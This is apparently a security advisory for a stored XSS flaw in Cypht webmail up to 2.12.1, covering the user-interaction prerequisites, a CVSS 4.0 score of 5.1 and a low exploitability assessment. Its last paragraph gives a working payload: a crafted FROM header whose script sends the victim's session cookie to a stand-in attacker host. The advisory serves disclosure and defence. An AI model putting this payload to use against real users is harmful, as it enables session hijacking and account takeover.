Cypht CVE-2026-73524

Exploitation requires the victim to be running a Cypht instance at version 2.12.1 or earlier, to open a specifically crafted email in their Cypht webmail session, and then to explicitly click the Add Local Contacts function while viewing that email. Both user-interaction steps are mandatory - simply opening the email without using Add Local Contacts does not trigger execution. No special server configuration or non-default settings are required; the contacts module is present in default Cypht installations. The attack is bounded to the victim's browser session: an attacker can steal session tokens, perform authenticated actions within Cypht on the victim's behalf, or redirect the browser, but cannot directly access or modify server-side data or files beyond the browser's existing session scope.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N, score 5.1) accurately characterizes this as a moderate-severity issue: the attack is network-delivered with no attacker authentication requirement, but the subsequent-system impact is limited to the victim's browser session (SC:L/SI:L), and active user interaction - specifically two sequential steps - is required. The two-step prerequisite (open email, then click Add Local Contacts) materially reduces exploitability relative to a single-click XSS trigger. EPSS data was not provided in the available intelligence; given the niche deployment footprint of Cypht and the multi-step interaction requirement, real-world exploitation probability is assessed as low. No KEV listing and no public exploit code have been identified at time of analysis. Practical impact is bounded to session hijacking or browser-context actions on behalf of the victim, with no path to server-side compromise through this vector alone. This is a routine patch-cycle priority rather than an emergency response item.

An attacker sends an email to a Cypht user with a FROM header crafted as Attacker <<script>document.location='https://attacker.tld/?c='+document.cookie</script>>. When the recipient opens the email in their Cypht instance and clicks Add Local Contacts, the malformed header bypasses the single-pass sanitizer and the embedded script executes in the victim's browser, exfiltrating their session cookie to the attacker's server. No public exploit code has been identified, but the bypass technique is elementary and the vulnerability class is well understood.